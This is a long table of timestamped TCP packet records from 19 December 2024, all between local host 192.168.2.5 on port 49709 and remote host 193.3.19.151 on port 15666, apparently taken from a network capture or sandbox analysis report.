Dec 19, 2024 08:53:05.938956976 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.938982964 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.939697981 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.939763069 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.939861059 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.939925909 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.939949036 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.939968109 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.940413952 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.940489054 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.940504074 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.940543890 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.940563917 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.940602064 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.940798044 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.940851927 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.940906048 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.940999985 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.941066980 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.941088915 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.941184044 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.941232920 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.941277027 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.941368103 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.941442966 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.941499949 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.941544056 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.941554070 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.941591978 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.941632032 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.941684008 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.942378044 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.942436934 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.942579985 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.942673922 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.942732096 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.942754984 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.942801952 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.942878962 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.942930937 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.942975998 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.943021059 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.943192005 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.943264008 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.943290949 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.943345070 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.943346024 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.943407059 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.943435907 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.943491936 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.943533897 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.943553925 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.943607092 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.025743961 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.025818110 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.034181118 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.034240007 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.034275055 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.034323931 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.034363031 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.034414053 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.034419060 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.034446001 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.034471989 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.034492016 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.035171032 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.035243034 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.035586119 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.035670042 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.035681009 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.035741091 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.035749912 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.035798073 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.035825968 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.035847902 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.036020994 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.036087036 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.036318064 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.036346912 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.036406994 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.036461115 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.036534071 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.036592960 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.036607981 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.036796093 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.036855936 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.036871910 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.037049055 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.037081003 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.037102938 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.037137032 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.037200928 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.037273884 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.037302017 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.037461996 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.037519932 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.037605047 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.037755966 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.037810087 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.037843943 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.037894964 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.037951946 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.038038969 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.038153887 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.038211107 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.038264036 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.038417101 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.038475037 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.038533926 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.038633108 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.038685083 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.038733006 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.038837910 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.038894892 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.038959980 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.039016008 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.039079905 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.039169073 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.039359093 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.039416075 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.039443970 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.039515972 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.039568901 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.039649963 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.039783955 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.039843082 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.039899111 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.040004969 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.040061951 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.040193081 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.040261030 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.040316105 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.040376902 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.040482998 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.040513992 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.040615082 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.040683985 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.040741920 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.040792942 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.040853024 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.040894032 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.040951967 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.040992022 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.041023016 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.041076899 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.041112900 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.041182995 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.041235924 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.041251898 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.041301012 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.041349888 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.041363001 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.041412115 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.041446924 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.041480064 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.041502953 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.041532993 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.041544914 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.041615963 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.041671038 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.041712999 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.041747093 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.041788101 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.041816950 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.041825056 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.041883945 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.041938066 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.041991949 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.042027950 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.042061090 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.042082071 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.042105913 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.042179108 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.042218924 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.042237043 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.042267084 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.042292118 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.042376041 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.042382956 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.042438984 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.042660952 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.042721033 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.042751074 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.042942047 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.042943001 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.042994976 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.043045998 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.043118000 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.043143988 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.043165922 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.043200970 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.043441057 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.043493032 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.043771029 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.043823004 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.044055939 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.044112921 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.044222116 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.044295073 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.044367075 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.044413090 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.044523001 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.044639111 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.044665098 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.044682980 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.044713974 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.044795990 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.044826984 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.044883966 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.044914961 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.044965982 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.044996977 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.045064926 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.045094967 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.045147896 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.045200109 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.045255899 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.045285940 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.045340061 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.045350075 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.045382977 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.045398951 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.045428038 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.045456886 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.045495987 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.045510054 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.045613050 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.046457052 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.046539068 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.046624899 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.046685934 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.046797991 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.046855927 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.047245979 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.047298908 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.047350883 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.047486067 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.047560930 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.047620058 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.047646999 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.047766924 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.047823906 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.047885895 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.047955990 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.048008919 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.048012018 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.048079967 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.048111916 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.048163891 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.048299074 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.048362970 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.048403025 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.048474073 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.048486948 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.048599005 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.048644066 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.048652887 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.048705101 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.048829079 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.048917055 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.048978090 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.049237967 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.049319029 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.051003933 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.051069021 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.051338911 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.051397085 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.051490068 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.051548958 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.051609039 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.051666975 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.051695108 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.051716089 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.051743984 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.051784039 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.051875114 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.051903009 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.051930904 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.051991940 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.052077055 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.052112103 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.052175045 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.052195072 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.052256107 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.052303076 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.052346945 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.052381992 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.052436113 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.052505970 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.052561045 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.052618980 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.052689075 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.052737951 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.052810907 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.052886963 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.052947044 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.052994013 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.053131104 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.053185940 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.053273916 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.053333044 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.053553104 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.053569078 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.053599119 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.053606987 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.053615093 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.053625107 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.053659916 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.053689957 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.053742886 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.053750038 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.053787947 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.053801060 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.053852081 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.053900957 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.053947926 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.053977966 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.053996086 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.054048061 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.054241896 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.054297924 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.054440022 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.054539919 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.054600954 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.054656982 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.054733038 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.054763079 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.054785013 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.054811001 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.054970980 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.055027008 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.055140018 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.055196047 CET	49709	15666	192.168.2.5	193.3.19.151
